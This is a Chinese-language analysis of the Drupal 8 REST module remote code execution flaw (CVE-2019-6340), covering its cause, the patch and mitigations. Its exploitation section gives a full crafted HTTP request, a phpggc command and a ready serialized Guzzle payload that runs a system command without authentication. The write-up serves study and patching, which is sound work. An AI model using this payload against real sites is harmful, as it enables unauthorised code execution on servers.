Drupal 8 REST RCE
字数 1417 2025-08-29 08:31:53
Drupal 8 REST模块远程代码执行漏洞分析与利用
漏洞概述
Drupal 8的REST模块存在一个远程代码执行漏洞(CVE-2019-6340),该漏洞允许攻击者通过精心构造的HTTP请求在目标系统上执行任意代码。漏洞的核心在于REST模块对用户输入的反序列化处理不当,导致反序列化漏洞被利用。
漏洞影响
- 影响版本:Drupal 8.6.9及以下版本
- 模块要求:REST模块(默认禁用)
- 认证要求:无需任何身份验证
- 请求方法:GET/POST/PATCH/PUT均可触发
漏洞分析
漏洞根源
漏洞位于Drupal 8的REST模块中,当处理特定类型的请求时,系统会对用户提供的"options"参数进行不安全的反序列化操作。关键问题点包括:
- 不安全的反序列化:系统未对反序列化的类进行充分限制
- 请求方法限制不足:即使禁用POST/PATCH请求,仍可通过GET请求触发漏洞
- 输入验证不足:未对用户提供的序列化数据进行充分验证
补丁分析
Drupal 8.6.10通过以下方式修复了该漏洞:
- 在
FieldItemNormalizer中引入了SerializedColumnNormalizerTraittrait - 新增
checkForSerializedStrings()方法,当检测到序列化字符串时会抛出异常 - 修改
LinkItem类的反序列化方式,使用unserialize($values['options'], ['allowed_classes' => FALSE])限制可反序列化的类
漏洞利用
利用条件
- REST模块已启用(默认禁用)
- 存在可访问的节点API端点(如
/node/{id}) - 目标系统使用了易受攻击的Guzzle库版本
利用步骤
- 构造恶意请求:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "<SERIALIZED_PAYLOAD>"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
- 生成Payload:
使用PHPGGC工具生成Guzzle反序列化payload:
./phpggc guzzle/rce1 system id --json
示例生成的payload:
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
- 发送恶意请求:
将生成的payload插入到请求的"options"字段中发送。
利用注意事项
- Drupal会缓存响应,测试时可能需要清除缓存
- 即使REST配置中禁用了POST/PATCH请求,仍可通过GET请求触发漏洞
- 无需任何类型的身份验证
防护措施
- 立即升级:升级到Drupal 8.6.10或更高版本
- 禁用REST模块:如果不需要REST功能,完全禁用该模块
- 不完全的缓解措施:
- 仅禁用web服务中的PUT/PATCH/POST请求是不够的
- 必须完全禁用REST模块或升级系统
技术细节
漏洞触发流程
- 攻击者发送包含恶意序列化数据的请求
- Drupal的REST模块处理请求并解析JSON数据
- 系统对"options"字段进行反序列化操作
- 恶意payload被反序列化,触发代码执行
关键代码分析
漏洞利用依赖于以下关键组件:
- FieldItemNormalizer:负责处理字段项的反序列化
- LinkItem:处理链接类型的字段,包含options参数
- Guzzle库:提供了可利用的反序列化gadget链
总结
Drupal 8 REST模块的远程代码执行漏洞是一个严重的安全问题,允许未经认证的攻击者在目标系统上执行任意代码。该漏洞的利用门槛相对较低,且影响范围广泛。建议所有使用Drupal 8的用户立即采取防护措施,最有效的方法是升级到最新版本或完全禁用REST模块。